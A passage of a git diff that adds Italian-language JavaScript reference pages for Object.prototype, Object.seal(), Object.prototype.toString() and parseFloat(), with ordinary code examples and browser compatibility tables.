+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Object.unobserve()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Array.observe()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/object/prototype/index.html b/files/it/web/javascript/reference/global_objects/object/prototype/index.html
new file mode 100644
index 0000000000..ea834e65de
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/object/prototype/index.html
@@ -0,0 +1,214 @@
+---
+title: Object.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Object/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Object
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Sommario</h2>
+
+<p>La proprietà <strong><code>Object.prototype</code></strong> rappresenta l'oggetto prototipo di {{jsxref("Global_Objects/Object", "Object")}}.</p>
+
+<p>{{js_property_attributes(0, 0, 0)}}</p>
+
+<h2 id="Description" name="Description">Descrizione</h2>
+
+<p>In JavaScript, tutti gli oggetti sono discendenti di {{jsxref("Global_Objects/Object", "Object")}}; tutti gli oggetti ereditano metodi e proprietà di <code>Object.prototype</code> (tranne nel caso l'oggetto abbia il prototipo uguale a {{jsxref("Global_Objects/null", "null")}}, quindi creati con il metodo {{jsxref("Object.create", "Object.create(null)")}}), anche se questi possono essere sovrascritti. Per esempio, i prototipi degli altri costruttori sovrascrivono la proprietà <code>constructor</code> e forniscono un loro metodo {{jsxref("Object.prototype.toString", "toString()")}}. I cambiamenti al prototipo di Object vengono estesi a tutti gli oggetti, eccetto quelli che sovrascrivono le proprietà e i metodi cambiati.</p>
+
+<h2 id="Properties" name="Properties">Proprietà</h2>
+
+<dl>
+ <dt>{{jsxref("Object.prototype.constructor")}}</dt>
+ <dd>Specifica la funzione che ha creato l'oggetto a partire dal prototipo.</dd>
+ <dt>{{jsxref("Object.prototype.__proto__")}} {{non-standard_inline}}</dt>
+ <dd>È un riferimento all'oggetto usato come prototipo quando l'oggetto è stato istanziato.</dd>
+ <dt>{{jsxref("Object.prototype.__noSuchMethod__")}} {{non-standard_inline}}</dt>
+ <dd>Permette di definire una funzione che venga chiamata quando viene chiamato un metodo non definito.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.__count__")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Rappresenta il numero di proprietà persenti in un oggetto, ma è stato rimosso.</s></dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.__parent__")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Rappresenta il contesto di un oggetto, ma è stato rimosso.</s></dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Metodi</h2>
+
+<dl>
+ <dt>{{jsxref("Object.prototype.__defineGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Associa una funzione a una proprietà di un oggetto. Quando si tenta di leggere il valore di tale proprietà, viene eseguita la funzione e restituito il valore che restituisce.</dd>
+ <dt>{{jsxref("Object.prototype.__defineSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Associa una funzione a una proprietà di un oggetto. Quando si tenta di cambiare il valore di tale proprietà, viene eseguita la funzione.</dd>
+ <dt>{{jsxref("Object.prototype.__lookupGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Restituisce la funzione definita tramite {{jsxref("Object.prototype.defineGetter", "__defineGetter__()")}}.</dd>
+ <dt>{{jsxref("Object.prototype.__lookupSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Restituisce la funzione definita tramite {{jsxref("Object.prototype.defineSetter", "__defineSetter__()")}}.</dd>
+ <dt>{{jsxref("Object.prototype.hasOwnProperty()")}}</dt>
+ <dd>Determina se l'oggetto contiene direttamente una proprietà (non ereditata tramite il prototipo).</dd>
+ <dt>{{jsxref("Object.prototype.isPrototypeOf()")}}</dt>
+ <dd>Determina se un oggetto fa parte della catena dei prototipi dell'oggetto sul quale è richiamato questo metodo.</dd>
+ <dt>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</dt>
+ <dd>Determina se l'<a href="/it/docs/ECMAScript_DontEnum_attribute" title="ECMAScript_DontEnum_attribute">attributo DontEnum di ECMAScript</a> interno è presente.</dd>
+ <dt>{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Restituisce una stringa contenente il codice sorgente di un oggetto rappresentante l'oggetto sul quale questo metodo viene richiamato; puoi usare questo valore per creare un nuovo oggetto.</dd>
+ <dt>{{jsxref("Object.prototype.toLocaleString()")}}</dt>
+ <dd>Richiama {{jsxref("Object.prototype.toString", "toString()")}}.</dd>
+ <dt>{{jsxref("Object.prototype.toString()")}}</dt>
+ <dd>Restituisce la rappresentazione dell'oggetto sotto forma di stringa.</dd>
+ <dt>{{jsxref("Object.prototype.unwatch()")}} {{non-standard_inline}}</dt>
+ <dd>Termina di osservare i cambiamenti di una proprietà dell'oggetto.</dd>
+ <dt>{{jsxref("Object.prototype.valueOf()")}}</dt>
+ <dd>Ritorna il valore primitivo dell'oggetto.</dd>
+ <dt>{{jsxref("Object.prototype.watch()")}} {{non-standard_inline}}</dt>
+ <dd>Inizia a osservare i cambiamenti di una proprietà di un oggetto.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.eval()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Esegue una stringa di codice JavaScript nel contesto dell'oggetto, ma è stato rimosso.</s></dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Esempi</h2>
+
+<p>Siccome in JavaScript gli oggetti non sono sub-classabili in modo "standard", il prototipo è una soluzione utile per creare un oggetto che funzioni da "classe di base" che contenga dei metodi comuni a più oggetti. Per esempio:</p>
+
+<pre class="brush: js">var Persona = function() {
+  this.saParlare = true;
+};
+
+Persona.prototype.saluta = function() {
+  if (this.saParlare) {
+    console.log('Ciao, mi chiamo ' + this.nome);
+  }
+};
+
+var Dipendente = function(nome, titolo) {
+  Persona.call(this);
+  this.nome = nome;
+  this.titolo = titolo;
+};
+
+Dipendente.prototype = Object.create(Persona.prototype);
+Dipendente.prototype.constructor = Dipendente;
+
+Dipendente.prototype.saluta = function() {
+  if (this.saParlare) {
+    console.log('Ciao mi chiamo ' + this.nome + ' e lavoro come ' + this.titolo);
+  }
+};
+
+var Cliente = function(nome) {
+  Persona.call(this);
+  this.nome = nome;
+};
+
+Cliente.prototype = Object.create(Persona.prototype);
+Cliente.prototype.constructor = Cliente;
+
+var Mimo = function(nome) {
+  Persona.call(this);
+  this.nome = nome;
+  this.saParlare = false;
+};
+
+Mimo.prototype = Object.create(Persona.prototype);
+Mimo.prototype.constructor = Mimo;
+
+var bob = new Dipendente('Bob', 'Architetto');
+var joe = new Cliente('Joe');
+var rg = new Dipendente('Red Green', 'Tuttofare');
+var mike = new Cliente('Mike');
+var mime = new Mimo('Mimo');
+bob.saluta();
+joe.saluta();
+rg.saluta();
+mike.saluta();
+mime.saluta();
+</pre>
+
+<p>Stamperà:</p>
+
+<pre>Ciao, mi chiamo Bob e lavoro come Architetto
+Ciao, mi chiamo Joe
+Ciao, mi chiamo Red Green, e lavoro come Tuttofare
+Ciao, mi chiamo Mike</pre>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition. Implemented in JavaScript 1.0.</td>
+   <td>Standard</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.1', 'Object.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype', 'Object.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilità con i browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: open sans light,sans-serif; font-size: 16px; line-height: 16px;">Funzionalità</span></th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Supporto di base</span></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/it/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">Introduzione alla programmazione JavaScript orientata agli oggetti</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/object/seal/index.html b/files/it/web/javascript/reference/global_objects/object/seal/index.html
new file mode 100644
index 0000000000..4d301b568c
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/object/seal/index.html
@@ -0,0 +1,157 @@
+---
+title: Object.seal()
+slug: Web/JavaScript/Reference/Global_Objects/Object/seal
+tags:
+  - ECMAScript 5
+  - Italian
+  - Italiano
+  - JavaScript
+  - JavaScript 1.8.5
+  - Method
+  - Object
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/seal
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>Object.seal()</strong></code> "sigilla" un oggetto, e ciò rende impossibile l'aggiunta di nuove proprietà e rende tutte le proprietà esistenti non-configurabili. I valori delle proprietà presenti possono comunque essere cambiati, finché sono sovrascrivibili.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-seal.html")}}</div>
+
+<p class="hidden">Il codice sorgente per questo esempio interattivo si trova in una repository di GitHub. Se vuoi contribuire al progetto degli esempi interattivi, puoi clonare <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> ed inviarci una pull request.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code>Object.seal(<var>obj</var>)</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'oggetto da sigillare.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>L'oggetto sigillato.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Di default, gli oggetti sono {{jsxref("Object.isExtensible()", "estensibili", "", 1)}} (possono essergli aggiunte nuove proprietà). Sigillare un oggetto rende impossibile l'aggiunta di nuove proprietà e rende tutte le proprietà esistenti non-configurabili. Questo rende le proprietà dell'oggetto statiche ed immutabili. Rendere tutte le proprietà non-configurabili, inoltre, rende impossibile la conversione da proprietà "data" a proprietà "accessor" e viceversa, ma non rende impossibile la modifica dei valori delle proprietà "data". Qualsiasi tentativo di aggiungere o rimuovere proprietà ad un oggetto sigillato, o convertire una proprietà "data" in una proprietà "accessor" o viceversa, fallirebbe, o in modo silenzioso o  attraverso il ritorno di un {{jsxref("TypeError")}} (più frequentemente, ma non necessariamente, quest'ultimo scenario accadrebbe in {{jsxref("Strict_mode", "strict mode", "", 1)}}).</p>
+
+<p>Le catene di prototipi non vengono sigillate. Invece, la proprietà {{jsxref("Object.proto", "__proto__")}} {{deprecated_inline}} viene sigillata.</p>
+
+<p>Ritorna l'oggetto passato ma sigillato.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">var obj = {
+  prop: function() {},
+  foo: 'bar'
+};
+
+// Nuove proprietà potrebbero essere aggiunte, proprietà esistenti
+// potrebbero essere modificate o rimosse.
+obj.foo = 'baz';
+obj.lumpy = 'woof';
+delete obj.prop;
+
+var o = Object.seal(obj);
+
+o === obj; // true
+Object.isSealed(obj); // === true
+
+// Cambiare proprietà su un oggetto sigillato
+// è ancora possibile.
+obj.foo = 'quux';
+
+// Ma non puoi convertire proprietà "data" in proprietà "accessor"
+// o viceversa.
+Object.defineProperty(obj, 'foo', {
+  get: function() { return 'g'; }
+}); // genera un TypeError
+
+// Ora, qualunque cambiamento, eccetto i valori delle proprietà,
+// fallirà.
+obj.quaxxor = 'the friendly duck';
+// silenziosamente non aggiunge la proprietà, per cui non genera errori od eccezioni
+delete obj.foo;
+// silenziosamente non rimuove la proprietà, per cui non genera errori od eccezioni
+
+// ...ed in strict mode, aggiungere o rimuovere proprietà
+// genererà TypeErrors.
+function fail() {
+  'use strict';
+  delete obj.foo; // genera un TypeError
+  obj.sparky = 'arf'; // genera un TypeError
+}
+fail();
+
+// Anche aggiungere proprietà tramite
+// Object.defineProperty genererà l'errore.
+Object.defineProperty(obj, 'ohai', {
+  value: 17
+}); // genera un TypeError
+Object.defineProperty(obj, 'foo', {
+  value: 'eit'
+}); // modifica il valore di una proprietà esistente
+</pre>
+
+<h2 id="Note">Note</h2>
+
+<p>In ES5, se l'argomento di questo metodo non è un'oggetto, allora verrà generato un {{jsxref("TypeError")}}. In ES2015, un argomento che non è un oggetto verrà trattato come se fosse un normale oggetto già sigillato, e verrà perciò semplicemente ritornato.</p>
+
+<pre class="brush: js">Object.seal(1);
+// TypeError: 1 non è un oggetto (codice in ES5)
+
+Object.seal(1);
+// 1                             (codice in ES2015)
+</pre>
+
+<h3 id="Differenza_con_Object.freeze">Differenza con <code>Object.freeze()</code></h3>
+
+<p>Le proprietà esistenti in oggetti congelati con <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze">Object.freeze()</a></code> sono rese immutabili. Gli oggetti sigillati con <code>Object.seal()</code> possono ricevere modifiche alle proprietà esistenti.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.8', 'Object.seal')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definizione iniziale. Implementato in JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.seal', 'Object.seal')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.seal', 'Object.seal')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>
+<div class="hidden">La compatibility table su questa pagina è generata da dati strutturali. Se vuoi contribuire per i dati, puoi visitare <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ed inviarci una pull request.</div>
+
+<p>{{Compat("javascript.builtins.Object.seal")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/object/tostring/index.html b/files/it/web/javascript/reference/global_objects/object/tostring/index.html
new file mode 100644
index 0000000000..5a77ea1a3e
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/object/tostring/index.html
@@ -0,0 +1,170 @@
+---
+title: Object.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/Object/toString
+tags:
+  - JavaScript
+  - Method
+  - Object
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/toString
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Sommario</h2>
+
+<p>Il metodo <code><strong>toString()</strong></code> restituisce una stringa a che rappresenta l'oggetto.</p>
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-tostring.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox notranslate"><code><var>obj</var>.toString()</code></pre>
+
+<h2 id="Description" name="Description">Descrizione</h2>
+
+<p>Ogni oggetto ha un metodo <code>toString()</code> che è automaticamente chiamato quando l'oggetto deve essere rappresentato come valore testuale o quando l'oggetto è referenziato in un contesto in cui viene attesa una stringa. Di default, il metodo <code>toString()</code> è ereditato da ogni oggetto che discende da <code>Object</code>. Se il metodo non è sovrascritto in un oggetto personalizzato, <code>toString()</code> restituisce "[object <em>type</em>]", dove <code><em>type</em></code> è il tipo di oggetto. Il codice di seguito lo illustra:</p>
+
+<pre class="brush: js notranslate">var o = new Object();
+o.toString();           // returns [object Object]
+</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> A partire da JavaScript 1.8.5 <code>toString()</code> richiamato su {{jsxref("Global_Objects/null", "null")}} restituisce <code>[object <em>Null</em>]</code>, e {{jsxref("Global_Objects/undefined", "undefined")}} restituisce <code>[object <em>Undefined</em>]</code>, come definito nella versione 5 di ECMAScript e nei succcessivi Errata. Vedi {{anch("Example:_Using_toString_to_detect_object_type", "Using toString to detect object type")}}.</p>
+</div>
+
+<h2 id="Examples" name="Examples">Esempi</h2>
+
+<h3 id="Example_Overriding_the_default_toString_method" name="Example:_Overriding_the_default_toString_method">Esempio: Sovrascrittura del metodo di default <code>toString</code> </h3>
+
+<p>Puoi creare una funzione che deve essere richiamata al posto del default metodo <code>toString()</code>. Il metodo <code>toString()</code> non prende argomenti e deve restituire una stringa. Esso può assumere qualunque valore tu voglia, ma sarà molto utile se comunichi informazioni sull'oggetto.</p>
+
+<p>Il codice seguente definisce l'oggetto <code>Dog</code> e crea <code>theDog</code>, ovvero un oggetto di tipo <code>Dog</code>:</p>
+
+<pre class="brush: js notranslate">function Dog(name, breed, color, sex) {
+  this.name = name;
+  this.breed = breed;
+  this.color = color;
+  this.sex = sex;
+}
+
+theDog = new Dog('Gabby', 'Lab', 'chocolate', 'female');
+</pre>
+
+<p>Richiamando il metodo <code>toString()</code> su questo oggetto personalizzato, esso restituisce il valore di default ereditato da {{jsxref("Global_Objects/Object", "Object")}}:</p>
+
+<pre class="brush: js notranslate">theDog.toString(); // returns [object Object]
+</pre>
+
+<p>Il codice seguente crea e assegna il metodo <code>dogToString()</code> per sovrascrivere il metodo di default <code>toString()</code>. Questa funzione genera una stringa contenente i valori name, breed, color e sex dell'oggetto, nella forma di "<code>property = value;</code>".</p>
+
+<pre class="brush: js notranslate">Dog.prototype.toString = function dogToString() {
+  var ret = 'Dog ' + this.name + ' is a ' + this.sex + ' ' + this.color + ' ' + this.breed;
+  return ret;
+}
+</pre>
+
+<p>Col precedente codice, la funzione <code>dogToString()</code> è richiamata automaticamente da JavaScript ogni volta che l'oggetto <code style="font-style: normal;">theDog</code> è usato in un contesto string, e restituisce la seguente stringa:</p>
+
+<pre class="notranslate">Dog Gabby is a female chocolate Lab
+</pre>
+
+<h3 id="Example_Using_toString_to_detect_object_type" name="Example:_Using_toString_to_detect_object_type">Esempio: Uso di <code>toString()</code> per individuare l'oggetto class</h3>
+
+<p><code>toString()</code> può essere usato con ogni oggetto e permette di ottenere il suo class. Per usare <code>Object.prototype.toString()</code> con ogni oggetto, c'è bisogno di richiamare {{jsxref("Function.prototype.call()")}} o {{jsxref("Function.prototype.apply()")}} su di esso, passando l'oggetto che si cerca di ispezionare come primo parametro chiamato <code>thisArg</code>.</p>
+
+<pre class="brush: js notranslate">var toString = Object.prototype.toString;
+
+toString.call(new Date);    // [object Date]
+toString.call(new String);  // [object String]
+toString.call(Math);        // [object Math]
+
+// Since JavaScript 1.8.5
+toString.call(undefined);   // [object Undefined]
+toString.call(null);        // [object Null]
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1 Edizione.</td>
+   <td>Standard</td>
+   <td>Definizione iniziale. Implementato in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.2', 'Object.prototype.toString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Richiamato su {{jsxref("Global_Objects/null", "null")}} restituisce <code>[object <em>Null</em>]</code>, e {{jsxref("Global_Objects/undefined", "undefined")}} restituisce <code>[object <em>Undefined</em>]</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.tostring', 'Object.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristiche</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support Base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support Base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/parsefloat/index.html b/files/it/web/javascript/reference/global_objects/parsefloat/index.html
new file mode 100644
index 0000000000..f587064676
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/parsefloat/index.html
@@ -0,0 +1,139 @@
+---
+title: parseFloat()
+slug: Web/JavaScript/Reference/Global_Objects/parseFloat
+translation_of: Web/JavaScript/Reference/Global_Objects/parseFloat
+---
+<div>
+ <div>
+  <div>
+   {{jsSidebar("Objects")}}</div>
+ </div>
+</div>
+<h2 id="Sommario">Sommario</h2>
+<p>La funzione <code><strong>parseFloat()</strong></code>  riceve una stringa come argomento e ritorna un numero in virgola mobile.</p>
+<h2 id="Sintassi">Sintassi</h2>
+<pre class="syntaxbox">parseFloat(<em>string</em>)</pre>
+<h3 id="Parametri">Parametri</h3>
+<dl>
+ <dt>
+  <code>string</code></dt>
+ <dd>
+  Una stringa che rapprestena il valore da analizzare.</dd>
+</dl>
+<h2 id="Descrizione">Descrizione</h2>
+<p><code>parseFloat</code> è una funzione primo livello ( globale ) e non è associata con nessun oggetto.</p>
+<p><code>parseFloat</code> analizza il parametro rappresentato da una stringa e ritorna un numero in virgola mobile. Se rileva un carattere diverso da segni ( + o - ), numeri ( 0 - 9 ), punto di separazione decimale o un esponente, la funzione ritorna il valore fino a quel punto ignorando il carattere rilevato e tutti quelli successvi. Gli spazi bianchi, iniziali e finali, sono consentiti.</p>
+<p>Se il primo carattere dell'argomento non può essere analizzato, <code>parseFloat</code> ritorna <code>NaN</code>.</p>
+<p>Per questioni aritmetiche, il valore <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace; line-height: 1.5;">NaN </span><span style="line-height: 1.5;">non è di tipo numerico. Per determinare se il risultato di ParseFloat è  </span><code>NaN</code><span style="line-height: 1.5;"> occorre chiamare la funzione </span><span style="line-height: 1.5;">{{jsxref("Global_Objects/isNaN", "isNaN")}}. Se <code>NaN</code> viene utilizzato per un operazione aritmetica, la stessa risulterà <code>NaN</code></span>.</p>
+<p><font face="Consolas, Monaco, Andale Mono, monospace">parseFloat </font>può analizzare e ritornare il valore<font face="Consolas, Monaco, Andale Mono, monospace"> Infinity. </font>La funzione<font face="Consolas, Monaco, Andale Mono, monospace"><code> </code></font><span style="line-height: 1.5;">{{jsxref("Global_Objects/isNaN", "isNaN")}} consente di determinare se il risultato è un numero finito </span><span style="line-height: 1.5;"> (not </span><code style="font-style: normal; line-height: 1.5;">Infinity</code><span style="line-height: 1.5;">, </span><code style="font-style: normal; line-height: 1.5;">-Infinity</code><span style="line-height: 1.5;">, o </span><code style="font-style: normal; line-height: 1.5;">NaN</code><span style="line-height: 1.5;">).</span></p>
+<h2 id="Esempi">Esempi</h2>
+<h3 id="Esempio_parseFloat_ritorna_un_numero">Esempio: <code>parseFloat</code> ritorna un numero</h3>
+<p>Tutti gli esempi seguenti ritornano 3.14</p>
+<pre class="brush:js">parseFloat("3.14");
+parseFloat("314e-2");
+parseFloat("0.0314E+2");
+parseFloat("3.14altri caratteri non numerici");
+</pre>
+<h3 id="Esempio_parseFloat_ritorna_NaN">Esempio: <code>parseFloat</code> ritorna NaN</h3>
+<p>L'esempio seguente ritorna il valore <code>NaN</code></p>
+<pre class="brush: js">parseFloat("FF2");
+</pre>
+<h3 id="Una_funzione_di_analisi_più_approfondita.">Una funzione di analisi più approfondita.</h3>
+<p>Talvolta può essere necessario un maggior controllo sulla funzione di parse, le regular expression possono aiutare :</p>
+<pre class="brush: js">var filterFloat = function (value) {
+    if(/^(\-|\+)?([0-9]+(\.[0-9]+)?|Infinity)$/
+      .test(value))
+      return Number(value);
+  return NaN;
+}
+
+console.log(filterFloat('421'));               // 421
+console.log(filterFloat('-421'));              // -421
+console.log(filterFloat('+421'));              // 421
+console.log(filterFloat('Infinity'));          // Infinito
+console.log(filterFloat('1.61803398875'));     // 1.61803398875
+console.log(filterFloat('421e+0'));            // NaN
+console.log(filterFloat('421hop'));            // NaN
+console.log(filterFloat('hop1.61803398875'));  // NaN
+</pre>
+<p>Nota: questo codice è a scopo esplicativo. La funzione non accetta numeri validi come 1. o .5+</p>
+<h2 id="Specifiche">Specifiche</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1a Edizione.</td>
+   <td>Standard</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.3', 'parseFloat')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-parsefloat-string', 'parseFloat')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Chrome for Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
